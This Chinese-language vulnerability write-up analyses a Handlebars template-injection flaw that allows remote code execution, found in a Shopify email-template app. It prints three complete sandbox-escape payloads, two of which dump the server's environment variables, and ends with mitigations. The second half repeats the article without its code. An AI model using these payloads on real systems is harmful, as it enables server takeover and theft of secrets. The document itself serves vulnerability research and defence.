漏洞挖掘:Handlebars库 模板注入导致RCE 0day
字数 1146 2025-08-29 08:32:09

Handlebars 模板注入导致 RCE 漏洞分析与利用

漏洞概述

Handlebars 是一个流行的 JavaScript 模板引擎,该漏洞允许攻击者通过模板注入实现远程代码执行(RCE)。漏洞核心在于 Handlebars 模板中可以访问 JavaScript 构造函数,通过巧妙的构造可以实现沙盒逃逸并执行任意代码。

漏洞发现背景

该漏洞最初在 Shopify 的 "Return Magic" 应用中发现,该应用使用 Handlebars 作为模板引擎来处理电子邮件模板。攻击者可以通过注入恶意模板来获取服务器控制权。

漏洞原理分析

基本注入点

Handlebars 模板中可以使用 {{this}} 表达式,当注入 {{this}} 时返回 [object Object],这表明可以访问 JavaScript 对象原型链。

关键利用点

  1. 访问构造函数:通过 {{this.constructor}} 可以访问 Object 构造函数
  2. 访问 Function 构造函数:通过 {{this.constructor.constructor}} 可以访问 Function 构造函数
  3. Helpers 函数特性:Handlebars 的 helpers 函数如 with 可以改变模板上下文

利用难点

  1. Handlebars 编译器会自动将模板范围内的 Object 添加为最后一个参数
  2. 需要绕过 JavaScript 的沙盒限制
  3. 需要处理函数调用时的额外参数问题

漏洞利用技术

方法一:重写 Object.prototype.toString

{{#with this as |test|}}
  {{#with (test.constructor.getOwnPropertyDescriptor this "getStoreName")}}
    {{#with (test.constructor.defineProperty test.constructor.prototype "toString" this)}}
      {{#with (test.constructor.constructor "test")}} {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

原理

  1. 获取一个返回可控字符串的函数的属性描述符
  2. 用该描述符重写 Object.prototype.toString
  3. 调用 Function 构造函数时,toString 会被调用,执行我们的代码

方法二:使用 bind() 函数

{{#with this as |obj|}}
    {{#with (obj.constructor.keys "1") as |arr|}}
        {{arr.pop}}
        {{arr.push obj.constructor.name.constructor.bind}}
        {{arr.pop}}
        {{arr.push "console.log(process.env)"}}
        {{arr.pop}}
            {{#blockHelperMissing obj.constructor.name.constructor.bind}}
              {{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
                {{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
                  {{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
                     {{#with (obj.constructor.constructor "test")}}
                     {{/with}}
                  {{/with}}
                {{/with}}
              {{/with}}
            {{/blockHelperMissing}}
  {{/with}}
{{/with}}

原理

  1. 使用 bind() 创建一个新函数
  2. 重写 Object.prototype.toString
  3. 通过 Function 构造函数调用执行代码

方法三:简化版利用 (Matias 的方法)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

防护措施

  1. 升级 Handlebars:npm 已发布补丁禁止访问构造函数
  2. 输入过滤:对用户输入的模板内容进行严格过滤
  3. 沙盒隔离:在安全的沙盒环境中执行模板渲染
  4. 最小权限:模板渲染进程使用最小必要权限

总结

该漏洞展示了模板引擎中允许访问底层语言特性的危险性。通过巧妙的构造,攻击者可以利用 JavaScript 的原型链和函数特性实现沙盒逃逸。开发者在选择和使用模板引擎时应当充分了解其安全特性,并采取适当的防护措施。

参考

Handlebars 模板注入导致 RCE 漏洞分析与利用 漏洞概述 Handlebars 是一个流行的 JavaScript 模板引擎,该漏洞允许攻击者通过模板注入实现远程代码执行(RCE)。漏洞核心在于 Handlebars 模板中可以访问 JavaScript 构造函数,通过巧妙的构造可以实现沙盒逃逸并执行任意代码。 漏洞发现背景 该漏洞最初在 Shopify 的 "Return Magic" 应用中发现,该应用使用 Handlebars 作为模板引擎来处理电子邮件模板。攻击者可以通过注入恶意模板来获取服务器控制权。 漏洞原理分析 基本注入点 Handlebars 模板中可以使用 {{this}} 表达式,当注入 {{this}} 时返回 [object Object] ,这表明可以访问 JavaScript 对象原型链。 关键利用点 访问构造函数 :通过 {{this.constructor}} 可以访问 Object 构造函数 访问 Function 构造函数 :通过 {{this.constructor.constructor}} 可以访问 Function 构造函数 Helpers 函数特性 :Handlebars 的 helpers 函数如 with 可以改变模板上下文 利用难点 Handlebars 编译器会自动将模板范围内的 Object 添加为最后一个参数 需要绕过 JavaScript 的沙盒限制 需要处理函数调用时的额外参数问题 漏洞利用技术 方法一:重写 Object.prototype.toString 原理 : 获取一个返回可控字符串的函数的属性描述符 用该描述符重写 Object.prototype.toString 调用 Function 构造函数时,toString 会被调用,执行我们的代码 方法二:使用 bind() 函数 原理 : 使用 bind() 创建一个新函数 重写 Object.prototype.toString 通过 Function 构造函数调用执行代码 方法三:简化版利用 (Matias 的方法) 防护措施 升级 Handlebars :npm 已发布补丁禁止访问构造函数 输入过滤 :对用户输入的模板内容进行严格过滤 沙盒隔离 :在安全的沙盒环境中执行模板渲染 最小权限 :模板渲染进程使用最小必要权限 总结 该漏洞展示了模板引擎中允许访问底层语言特性的危险性。通过巧妙的构造,攻击者可以利用 JavaScript 的原型链和函数特性实现沙盒逃逸。开发者在选择和使用模板引擎时应当充分了解其安全特性,并采取适当的防护措施。 参考 Handlebars 安全公告 原始漏洞分析文章